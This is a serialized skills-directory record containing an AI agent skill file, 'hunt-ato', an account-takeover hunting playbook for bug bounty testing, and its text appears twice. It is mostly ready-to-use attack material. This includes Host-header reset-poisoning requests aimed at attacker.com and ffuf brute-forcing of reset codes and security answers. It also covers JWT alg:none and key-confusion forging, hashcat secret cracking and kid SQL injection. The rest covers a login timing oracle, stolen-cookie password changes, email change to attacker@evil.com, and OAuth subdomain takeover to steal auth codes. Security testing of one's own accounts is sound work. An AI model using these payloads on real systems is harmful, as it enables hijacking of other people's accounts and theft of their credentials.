[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EK8GFJV9VT4YC0HT2PBZNQ":3,"skill-same:01M7EK8GFJV9VT4YC0HT2PBZNQ":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7EK8GFJV9VT4YC0HT2PBZNQ","hunt-ato",null,"Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable\u002Fnumeric token, Referer leak, no-expiry\u002Freuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing\u002Flength oracle), (8) social-recovery \u002F security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB\u002FCollaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset \u002F email change \u002F MFA \u002F OAuth \u002F session \u002F JWT, or chaining primitives toward Critical.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-ato\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-ato\ndescription: \"Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable\u002Fnumeric token, Referer leak, no-expiry\u002Freuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing\u002Flength oracle), (8) social-recovery \u002F security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB\u002FCollaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset \u002F email change \u002F MFA \u002F OAuth \u002F session \u002F JWT, or chaining primitives toward Critical.\"\nsources: hackerone_public, public_research\nreport_count: 7\n---\n\n## 13. ATO — ACCOUNT TAKEOVER TAXONOMY\n> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session\u002FIP\u002Fdevice. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.\n\n### Path 1: Password Reset Poisoning (Host-Header)\n```bash\nPOST \u002Fforgot-password HTTP\u002F1.1\nHost: attacker.com                 # primary Host swap\n# OR keep real Host and add one of:\nX-Forwarded-Host: attacker.com\nX-Host: attacker.com\nX-Forwarded-Server: attacker.com\n# OR dual-Host smuggling:  Host: target.com\\r\\nHost: attacker.com\n\nemail=victimB@company.com\n```\nThe reset mailer builds the link from the request Host header → link points to `attacker.com\u002Freset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator \u002F unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.\n**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.\n\n### Path 2: Reset Token in Referer \u002F Open-Redirect Leak\n```\nGET \u002Freset-password?token=ABC123\n→ page loads third-party resource: \u003Cscript src=\"https:\u002F\u002Fanalytics.com\u002Ft.js\">\n→ browser sends  Referer: https:\u002F\u002Ftarget.com\u002Freset-password?token=ABC123\n→ token exfiltrated to every off-origin host the page calls\n```\nAlso test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.\n\n### Path 3: Predictable \u002F Weak Reset Tokens\n```bash\n# 6-digit numeric OTP-style reset code, no rate limit:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Freset\u002Fverify\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"code\":\"FUZZ\"}' \\\n  -w \u003C(seq -w 000000 999999) -mc 200 -fr \"invalid\" -t 5\n# time-based tokens: capture 5 tokens, diff — md5(timestamp)\u002Fsequential int = predictable\n```\n**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `\u002Fforgot-password` is routinely rejected — the impact is token guessing, not request flooding.\n\n### Path 4: Token No-Expiry \u002F Reuse \u002F Cross-Account\n```\nExpiry:  request token → wait 2h → still valid? = bug\nReuse:   use token once → use again → still valid? = bug\nMulti:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)\nCross:   does B's token reset A's password if you swap the userid\u002Femail param? = IDOR-in-reset\n```\n\n### Path 5: Email Change Without Re-Auth\n```bash\nPUT \u002Fapi\u002Fuser\u002Femail HTTP\u002F1.1\nCookie: session=ATTACKER_A_SESSION\n{\"new_email\":\"attacker@evil.com\"}     # no current_password, no OTP, no email-confirm\n```\nIf the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link \u002F email-change → ATO via missing re-auth.\n\n### Path 6: JWT Manipulation\n```bash\n# (a) alg:none — strip the signature, set header alg to none\npython3 -c \"import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))\"\n# send: header {\"alg\":\"none\",\"typ\":\"JWT\"}, payload {\"sub\":\"victimB\"}, empty signature\n#\n# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret\ncurl -s https:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json   # or \u002Foauth\u002F.well-known\u002F...  grab the RSA pub key\n# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it\n#\n# (c) weak HMAC secret: crack offline\nhashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT\n#\n# (d) kid injection: kid=..\u002F..\u002F..\u002Fdev\u002Fnull (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)\n```\n**Verified grounding for this class:** [CVE-2015-9235](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2015-9235) (node `jsonwebtoken` \u003C4.2.2 — alg confusion \u002F none bypass), [CVE-2016-10555](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET \u002Fapi\u002Fadmin` or `\u002Fapi\u002Fusers\u002FB`) — decoding\u002Fforging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.\n\n### Path 7: Password Change Without Step-Up + Login Oracle\n```bash\n# (a) password-change endpoint accepts a new password with no current-password \u002F no MFA challenge:\nPOST \u002Fapi\u002Faccount\u002Fpassword\nCookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak\n{\"new_password\":\"Pwned#2026\"}          # no \"current_password\" field\n#\n# (b) login oracle to find a valid password without an existing cookie — measure response delta:\nfor p in $(cat candidates.txt); do\n  t=$(curl -s -o \u002Fdev\u002Fnull -w '%{time_total}' -d \"user=victimB&pass=$p\" https:\u002F\u002Ftarget.com\u002Flogin)\n  printf '%s\\t%s\\n' \"$t\" \"$p\"\ndone | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass\n```\nA no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device\u002FIP, victim locked out. **False-positive check:** confirm there is genuinely no current-password \u002F MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).\n\n### Path 8: Social-Recovery \u002F Security-Question Abuse\n```bash\n# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Faccount\u002Frecover\u002Fanswer\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"question\":\"pet\",\"answer\":\"FUZZ\"}' \\\n  -w common-answers.txt -mc 200 -fr \"incorrect\" -t 5\n# also test: answers returned\u002Fechoed in \u002Fapi\u002Fme or recovery page source (client-side check)\n# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)\n```\nPair with `offensive-osint`: many \"secret\" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.\n\n### Path 9: SSO Subdomain Takeover at OAuth redirect_uri\n```bash\n# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?\nGET \u002Foauth\u002Fauthorize?client_id=...&redirect_uri=https:\u002F\u002Fanything.target.com\u002Fcb&response_type=code\n# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku\u002FS3\u002FAzure\u002FGH-Pages) via hunt-subdomain:\ndig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)\n# (c) claim that host on the cloud provider, serve a callback that logs the ?code=\n# (d) send victim B the crafted authorize URL -> their code\u002Ftoken lands on your claimed subdomain\n```\n**Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` \u002F claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.\n\n### Path 10: Pre-Account \u002F Unverified-Account Takeover\nThe victim's account exists in a pending\u002Funverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO\u002FOTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite\u002Fpending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports\u002F1679734, reports\u002F394329.\n\n### Path 11: Passwordless \u002F Magic-Link Abuse by Identifier\nA passwordless-signup \u002F magic-login \u002F OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone\u002Femail), with no token step. Probe `*passwordless*`, `*magic*`, `*\u002Fotp-login`, `*\u002Fsignup`: does supplying only a phone\u002Femail set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports\u002F143717.\n\n### ATO Severity Gate\n- **Critical** — zero\u002Flow victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.\n- **High** — one email click OR a pre-existing session\u002Fcookie required (Referer leak, no-step-up password change behind cookie theft).\n- **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).\n- **Low** — attacker must be MitM, or only self-account impact.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH \u002Fapi\u002Fusers\u002F{victimB_uid}` with attacker-A session + victim UID + `{\"email\":\"attacker@evil.com\"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).\n- **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS \u002F token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP\u002Fdevice.\n- **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku\u002FS3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.\n- **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal \u002F SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.\n- **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST \u002Fforgot-password` with `Host`\u002F`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com\u002Freset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.\n- **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.\n- **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for \"rate-limit on \u002Fforgot-password\" reports.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.\n","## 13. ATO — ACCOUNT TAKEOVER TAXONOMY\n> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session\u002FIP\u002Fdevice. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.\n\n### Path 1: Password Reset Poisoning (Host-Header)\n```bash\nPOST \u002Fforgot-password HTTP\u002F1.1\nHost: attacker.com                 # primary Host swap\n# OR keep real Host and add one of:\nX-Forwarded-Host: attacker.com\nX-Host: attacker.com\nX-Forwarded-Server: attacker.com\n# OR dual-Host smuggling:  Host: target.com\\r\\nHost: attacker.com\n\nemail=victimB@company.com\n```\nThe reset mailer builds the link from the request Host header → link points to `attacker.com\u002Freset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator \u002F unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.\n**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.\n\n### Path 2: Reset Token in Referer \u002F Open-Redirect Leak\n```\nGET \u002Freset-password?token=ABC123\n→ page loads third-party resource: \u003Cscript src=\"https:\u002F\u002Fanalytics.com\u002Ft.js\">\n→ browser sends  Referer: https:\u002F\u002Ftarget.com\u002Freset-password?token=ABC123\n→ token exfiltrated to every off-origin host the page calls\n```\nAlso test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.\n\n### Path 3: Predictable \u002F Weak Reset Tokens\n```bash\n# 6-digit numeric OTP-style reset code, no rate limit:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Freset\u002Fverify\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"code\":\"FUZZ\"}' \\\n  -w \u003C(seq -w 000000 999999) -mc 200 -fr \"invalid\" -t 5\n# time-based tokens: capture 5 tokens, diff — md5(timestamp)\u002Fsequential int = predictable\n```\n**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `\u002Fforgot-password` is routinely rejected — the impact is token guessing, not request flooding.\n\n### Path 4: Token No-Expiry \u002F Reuse \u002F Cross-Account\n```\nExpiry:  request token → wait 2h → still valid? = bug\nReuse:   use token once → use again → still valid? = bug\nMulti:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)\nCross:   does B's token reset A's password if you swap the userid\u002Femail param? = IDOR-in-reset\n```\n\n### Path 5: Email Change Without Re-Auth\n```bash\nPUT \u002Fapi\u002Fuser\u002Femail HTTP\u002F1.1\nCookie: session=ATTACKER_A_SESSION\n{\"new_email\":\"attacker@evil.com\"}     # no current_password, no OTP, no email-confirm\n```\nIf the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link \u002F email-change → ATO via missing re-auth.\n\n### Path 6: JWT Manipulation\n```bash\n# (a) alg:none — strip the signature, set header alg to none\npython3 -c \"import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))\"\n# send: header {\"alg\":\"none\",\"typ\":\"JWT\"}, payload {\"sub\":\"victimB\"}, empty signature\n#\n# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret\ncurl -s https:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json   # or \u002Foauth\u002F.well-known\u002F...  grab the RSA pub key\n# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it\n#\n# (c) weak HMAC secret: crack offline\nhashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT\n#\n# (d) kid injection: kid=..\u002F..\u002F..\u002Fdev\u002Fnull (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)\n```\n**Verified grounding for this class:** [CVE-2015-9235](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2015-9235) (node `jsonwebtoken` \u003C4.2.2 — alg confusion \u002F none bypass), [CVE-2016-10555](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET \u002Fapi\u002Fadmin` or `\u002Fapi\u002Fusers\u002FB`) — decoding\u002Fforging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.\n\n### Path 7: Password Change Without Step-Up + Login Oracle\n```bash\n# (a) password-change endpoint accepts a new password with no current-password \u002F no MFA challenge:\nPOST \u002Fapi\u002Faccount\u002Fpassword\nCookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak\n{\"new_password\":\"Pwned#2026\"}          # no \"current_password\" field\n#\n# (b) login oracle to find a valid password without an existing cookie — measure response delta:\nfor p in $(cat candidates.txt); do\n  t=$(curl -s -o \u002Fdev\u002Fnull -w '%{time_total}' -d \"user=victimB&pass=$p\" https:\u002F\u002Ftarget.com\u002Flogin)\n  printf '%s\\t%s\\n' \"$t\" \"$p\"\ndone | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass\n```\nA no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device\u002FIP, victim locked out. **False-positive check:** confirm there is genuinely no current-password \u002F MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).\n\n### Path 8: Social-Recovery \u002F Security-Question Abuse\n```bash\n# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Faccount\u002Frecover\u002Fanswer\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"question\":\"pet\",\"answer\":\"FUZZ\"}' \\\n  -w common-answers.txt -mc 200 -fr \"incorrect\" -t 5\n# also test: answers returned\u002Fechoed in \u002Fapi\u002Fme or recovery page source (client-side check)\n# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)\n```\nPair with `offensive-osint`: many \"secret\" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.\n\n### Path 9: SSO Subdomain Takeover at OAuth redirect_uri\n```bash\n# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?\nGET \u002Foauth\u002Fauthorize?client_id=...&redirect_uri=https:\u002F\u002Fanything.target.com\u002Fcb&response_type=code\n# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku\u002FS3\u002FAzure\u002FGH-Pages) via hunt-subdomain:\ndig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)\n# (c) claim that host on the cloud provider, serve a callback that logs the ?code=\n# (d) send victim B the crafted authorize URL -> their code\u002Ftoken lands on your claimed subdomain\n```\n**Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` \u002F claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.\n\n### Path 10: Pre-Account \u002F Unverified-Account Takeover\nThe victim's account exists in a pending\u002Funverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO\u002FOTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite\u002Fpending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports\u002F1679734, reports\u002F394329.\n\n### Path 11: Passwordless \u002F Magic-Link Abuse by Identifier\nA passwordless-signup \u002F magic-login \u002F OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone\u002Femail), with no token step. Probe `*passwordless*`, `*magic*`, `*\u002Fotp-login`, `*\u002Fsignup`: does supplying only a phone\u002Femail set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports\u002F143717.\n\n### ATO Severity Gate\n- **Critical** — zero\u002Flow victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.\n- **High** — one email click OR a pre-existing session\u002Fcookie required (Referer leak, no-step-up password change behind cookie theft).\n- **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).\n- **Low** — attacker must be MitM, or only self-account impact.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH \u002Fapi\u002Fusers\u002F{victimB_uid}` with attacker-A session + victim UID + `{\"email\":\"attacker@evil.com\"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).\n- **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS \u002F token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP\u002Fdevice.\n- **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku\u002FS3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.\n- **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal \u002F SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.\n- **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST \u002Fforgot-password` with `Host`\u002F`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com\u002Freset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.\n- **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.\n- **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for \"rate-limit on \u002Fforgot-password\" reports.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.\n",{"name":5,"sources":24,"description":7,"report_count":25},"hackerone_public, public_research",7,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunt-ato",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-ato",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-ato",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-ato","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-ato\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL 